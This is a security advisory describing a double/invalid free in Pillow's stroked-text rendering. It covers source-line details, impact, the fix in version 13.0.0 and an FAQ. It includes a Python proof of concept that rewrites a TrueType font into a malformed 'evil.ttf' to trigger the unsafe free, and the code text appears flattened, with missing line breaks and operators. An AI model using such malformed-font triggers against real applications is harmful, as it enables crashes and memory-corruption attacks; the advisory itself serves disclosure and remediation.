GHSA-j4m9-6w36-pw47: Double Free
Summary When text is drawn with a non-zero stroke width, Pillow creates a FreeType stroker and then loads each glyph. If FTLoadGlyph fails for a glyph, the cleanup path calls FTDoneGlyph on the glyph variable. That variable is not initialized before the first measurement loop, and in the render loop it is not reset to NULL after each glyph is freed. A malformed font loaded from untrusted bytes can force the load error and reach this free. This is a latent memory-safety defect; whether it crashes depends on the value in the uninitialized or stale pointer.
Details glyph is declared without a NULL initializer:
- src/imagingft.c:848
The first measurement loop can jump to glypherror before glyph is ever assigned:
- src/imagingft.c:1010-1013
In the render loop the glyph is freed at the end of each iteration and not set back to NULL:
- src/imagingft.c:1242
The cleanup frees it whenever a stroker exists:
- src/imagingft.c:1253-1256
ImageFont.truetype accepts a file object or bytes, so the font is attacker-suppliable.
PoC This needs fontTools and any base TTF (the example uses one bundled with Pillow's tests). It rewrites glyph "A" to claim 5000 contours in a glyph body far too short for them, so FTLoadGlyph returns an error while the face still opens.
python import struct from fontTools.ttLib import TTFont from PIL import Image, ImageFont, ImageDraw
SRC = "Tests/fonts/FreeMono.ttf" # any TTF works as a base tt = TTFont(SRC) gid = tt.getGlyphID(tt.getBestCmap()[ord("A")]) localong = tt["head"].indexToLocFormat tt.close()
raw = bytearray(open(SRC, "rb").read()) nt = struct.unpack(">H", raw[4:6])[0] tbl = {} for i in range(nt): rec = 12 + i 16 tag = bytes(raw[rec:rec+4]).decode("latin-1") off, length = struct.unpack(">II", raw[rec+8:rec+16]) tbl[tag] = (off, length) glyfoff = tbl["glyf"][0]; locaoff = tbl["loca"][0] if localong: o0 = struct.unpackfrom(">I", raw, locaoff + 4gid)[0] else: o0 = struct.unpackfrom(">H", raw, locaoff + 2gid)[0] 2 struct.packinto(">h", raw, glyfoff + o0, 5000) # numberOfContours = 5000 open("evil.ttf", "wb").write(raw)
f = ImageFont.truetype("evil.ttf", 20) # face opens d = ImageDraw.Draw(Image.new("RGB", (64, 64))) d.text((0, 0), "A", font=f, strokewidth=2) # load error -> FTDoneGlyph on bad pointer
Result on the pinned build: FTLoadGlyph returns an error and execution reaches the glypherror cleanup that calls FTDoneGlyph(glyph) (the plugin surfaces OSError: invalid outline).
Impact Applications that draw text with strokewidth != 0 using fonts loaded from untrusted bytes can hit an invalid or double free. The correct fix is small: initialize glyph = NULL and set it back to NULL after each FTDoneGlyph.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/pillowto a version that resolves this vulnerability.Fixed in 13.0.0 - Compensating control
In src/_imagingft.c, initialize glyph to NULL before the measurement loop and set glyph back to NULL after each FT_Done_Glyph call in the render loop.
Event History
Frequently Asked Questions
Which applications are realistically exposed?
Applications are exposed if they load attacker-controlled fonts through ImageFont.truetype using bytes or a file object, then draw text with a non-zero stroke width. Processing only trusted font files does not provide the attacker-supplied malformed font needed to reach the affected path.
What does an attacker need to trigger the defect?
An attacker needs to supply a malformed font that causes FT_Load_Glyph to fail while Pillow is handling stroked text. The failure can reach cleanup code that frees an uninitialized or stale glyph pointer.
What is the likely result if exploitation is attempted?
This is a latent memory-safety defect that may crash, depending on the value held in the uninitialized or stale pointer. The provided information does not establish a reliable outcome beyond that unsafe free path.
What can be done if updating is not immediately possible?
Avoid loading untrusted font bytes or file objects in workflows that render text with a non-zero stroke width. Restrict font inputs to trusted sources until the affected code can be updated.